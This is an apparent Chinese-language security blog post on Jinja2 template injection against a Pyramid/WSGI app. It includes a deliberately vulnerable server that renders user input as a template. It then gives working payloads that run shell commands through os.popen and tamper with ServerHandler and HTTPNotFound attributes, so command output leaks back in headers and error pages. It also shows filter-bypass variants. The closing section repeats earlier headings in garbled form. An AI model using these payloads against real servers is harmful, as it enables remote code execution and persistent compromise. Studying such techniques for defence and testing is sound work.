WSGI内存马无回显详细调试研究<\/h1>

1. 背景介绍<\/h2>
Pyramid是一个灵活且功能强大的Python Web框架，完全兼容WSGI(Web Server Gateway Interface)。通过WSGI，Pyramid能够运行在任何WSGI兼容的Web服务器上(如Gunicorn、uWSGI等)，并且可以通过中间件进行扩展和集成。<\/p>

2. 测试环境搭建<\/h2>

2.1 示例代码<\/h3>

import<\/span> jinja2
<\/span><\/span>from<\/span> pyramid.config import<\/span> Configurator
<\/span><\/span>from<\/span> pyramid.httpexceptions import<\/span> HTTPFound
<\/span><\/span>from<\/span> pyramid.response import<\/span> Response
<\/span><\/span>from<\/span> pyramid.session import<\/span> SignedCookieSessionFactory
<\/span><\/span>from<\/span> wsgiref.simple_server import<\/span> make_server
<\/span><\/span>import<\/span> re
<\/span><\/span>import<\/span> os
<\/span><\/span>
<\/span><\/span>def<\/span> shell_view<\/span>(request):
<\/span><\/span>    expression =<\/span> request.<\/span>GET.<\/span>get('shellcmd'<\/span>, ''<\/span>)
<\/span><\/span>    blacklist_patterns =<\/span> [r<\/span>'.*length.*'<\/span>]
<\/span><\/span>    if<\/span> any(re.<\/span>search(pattern, expression) for<\/span> pattern in<\/span> blacklist_patterns):
<\/span><\/span>        return<\/span> Response('wafwafwaf'<\/span>)
<\/span><\/span>    try<\/span>:
<\/span><\/span>        result =<\/span> jinja2.<\/span>Environment(loader=<\/span>jinja2.<\/span>BaseLoader()).<\/span>from_string(expression).<\/span>render({"request"<\/span>: request})
<\/span><\/span>        if<\/span> result !=<\/span> None<\/span>:
<\/span><\/span>            return<\/span> Response('success'<\/span>)
<\/span><\/span>        else<\/span>:
<\/span><\/span>            return<\/span> Response('error'<\/span>)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        return<\/span> Response('error'<\/span>)
<\/span><\/span>
<\/span><\/span>def<\/span> main<\/span>():
<\/span><\/span>    session_factory =<\/span> SignedCookieSessionFactory('secret_key'<\/span>)
<\/span><\/span>    with<\/span> Configurator(session_factory=<\/span>session_factory) as<\/span> config:
<\/span><\/span>        config.<\/span>include('pyramid_chameleon'<\/span>)  # 添加渲染模板<\/span>
<\/span><\/span>        config.<\/span>set_default_permission('view'<\/span>)  # 设置默认权限为view<\/span>
<\/span><\/span>        
<\/span><\/span>        # 注册路由<\/span>
<\/span><\/span>        config.<\/span>add_route('root'<\/span>, '\/'<\/span>)
<\/span><\/span>        config.<\/span>add_route('shell'<\/span>, '\/shell'<\/span>)
<\/span><\/span>        
<\/span><\/span>        # 注册视图<\/span>
<\/span><\/span>        config.<\/span>add_view(shell_view, route_name=<\/span>'shell'<\/span>, renderer=<\/span>'string'<\/span>, permission=<\/span>'view'<\/span>)
<\/span><\/span>        config.<\/span>scan()
<\/span><\/span>        app =<\/span> config.<\/span>make_wsgi_app()
<\/span><\/span>    return<\/span> app
<\/span><\/span>
<\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>:
<\/span><\/span>    app =<\/span> main()
<\/span><\/span>    server =<\/span> make_server('0.0.0.0'<\/span>, 6543<\/span>, app)
<\/span><\/span>    server.<\/span>serve_forever()
<\/span><\/span><\/code><\/pre>3. WSGI应用程序创建分析<\/h2>
3.1 make_wsgi_app方法<\/h3>
def<\/span> make_wsgi_app<\/span>(self):
<\/span><\/span>    """Commits any pending configuration statements, sends a :class:`pyramid.events.ApplicationCreated` event to all listeners, adds this configuration's registry to :attr:`pyramid.config.global_registries`, and returns a :app:`Pyramid` WSGI application representing the committed configuration state."""<\/span>
<\/span><\/span>    self.<\/span>commit()
<\/span><\/span>    app =<\/span> Router(self.<\/span>registry)
<\/span><\/span>    # Allow tools like "pshell development.ini" to find the 'last'<\/span>
<\/span><\/span>    # registry configured.<\/span>
<\/span><\/span>    global_registries.<\/span>add(self.<\/span>registry)
<\/span><\/span>    # Push the registry onto the stack in case any code that depends on<\/span>
<\/span><\/span>    # the registry threadlocal APIs used in listeners subscribed to the<\/span>
<\/span><\/span>    # IApplicationCreated event.<\/span>
<\/span><\/span>    self.<\/span>begin()
<\/span><\/span>    try<\/span>:
<\/span><\/span>        self.<\/span>registry.<\/span>notify(ApplicationCreated(app))
<\/span><\/span>    finally<\/span>:
<\/span><\/span>        self.<\/span>end()
<\/span><\/span>    return<\/span> app
<\/span><\/span><\/code><\/pre>3.2 make_server方法<\/h3>
def<\/span> make_server<\/span>(host, port, app, server_class=<\/span>WSGIServer, handler_class=<\/span>WSGIRequestHandler):
<\/span><\/span>    """Create a new WSGI server listening on `host` and `port` for `app`"""<\/span>
<\/span><\/span>    server =<\/span> server_class((host, port), handler_class)
<\/span><\/span>    server.<\/span>set_app(app)
<\/span><\/span>    return<\/span> server
<\/span><\/span><\/code><\/pre>4. 无回显调试技术<\/h2>
4.1 获取Handler类<\/h3>
通过sys.modules获取wsgiref.simple_server.ServerHandler：<\/p>
{{ lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler }}
<\/code><\/pre>
4.2 HTTP协议头回显<\/h3>
4.2.1 http_version回显<\/h4>
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "http_version", lipsum.__globals__.__builtins__.__import__('os').popen('echo test').read())}}
<\/code><\/pre>
4.2.2 server_software回显<\/h4>
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "server_software", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
<\/code><\/pre>
4.3 HTTP错误回显<\/h3>
4.3.1 500状态码回显<\/h4>
通过修改BaseHandler的error_body属性：<\/p>
{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'error_body', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()['encode']())}}
<\/code><\/pre>
或简写形式：<\/p>
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.wsgiref.simple_server.ServerHandler, "error_body", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
<\/code><\/pre>
4.3.2 404状态码回显<\/h4>
通过修改HTTPNotFound类的explanation属性：<\/p>
{{ lipsum['__globals__']['__builtins__']['exec']("setattr(Not,'explanation',shell)", {"Not":((lipsum|attr('__spec__')|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'], "shell": lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('echo 1a1')['read']()})}}
<\/code><\/pre>
或简写形式：<\/p>
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound, "explanation", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
<\/code><\/pre>
也可以通过修改title属性：<\/p>
{{(lipsum['__globals__']['__builtins__']['exec'])("setattr(Not,'title',shell)", {"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'], "shell": lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()})}}
<\/code><\/pre>
或简写形式：<\/p>
{{ lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.pyramid.httpexceptions.HTTPNotFound, "title", lipsum.__globals__.__builtins__.__import__('os').popen('echo 111').read())}}
<\/code><\/pre>
5. 关键点总结<\/h2>


WSGI应用创建流程<\/strong>：通过make_wsgi_app创建应用，然后使用make_server创建服务<\/p>
<\/li>

Handler类定位<\/strong>：WSGIRequestHandler是处理请求的关键类，可以通过sys.modules获取<\/p>
<\/li>

回显技术<\/strong>：<\/p>

修改HTTP协议头(http_version, server_software)<\/li>
修改错误响应(error_body)<\/li>
修改404页面的explanation或title属性<\/li>
<\/ul>
<\/li>

Jinja2模板注入<\/strong>：利用模板引擎的特性执行代码并修改关键属性实现回显<\/p>
<\/li>

绕过限制<\/strong>：使用各种属性访问方式绕过可能的过滤和限制<\/p>
<\/li>
<\/ol>
这些技术可以用于安全测试和漏洞验证，帮助安全研究人员更好地理解WSGI应用的安全特性和潜在风险。<\/p>

WSGI内存马无回显详细调试研究<\/h1>

1. 背景介绍<\/h2> Pyramid是一个灵活且功能强大的Python Web框架，完全兼容WSGI(Web Server Gateway Interface)。通过WSGI，Pyramid能够运行在任何WSGI兼容的Web服务器上(如Gunicorn、uWSGI等)，并且可以通过中间件进行扩展和集成。<\/p>

2. 测试环境搭建<\/h2>

3. WSGI应用程序创建分析<\/h2>

4. 无回显调试技术<\/h2>

4.2 HTTP协议头回显<\/h3>

4.3 HTTP错误回显<\/h3>

1. 背景介绍<\/h2>
Pyramid是一个灵活且功能强大的Python Web框架，完全兼容WSGI(Web Server Gateway Interface)。通过WSGI，Pyramid能够运行在任何WSGI兼容的Web服务器上(如Gunicorn、uWSGI等)，并且可以通过中间件进行扩展和集成。<\/p>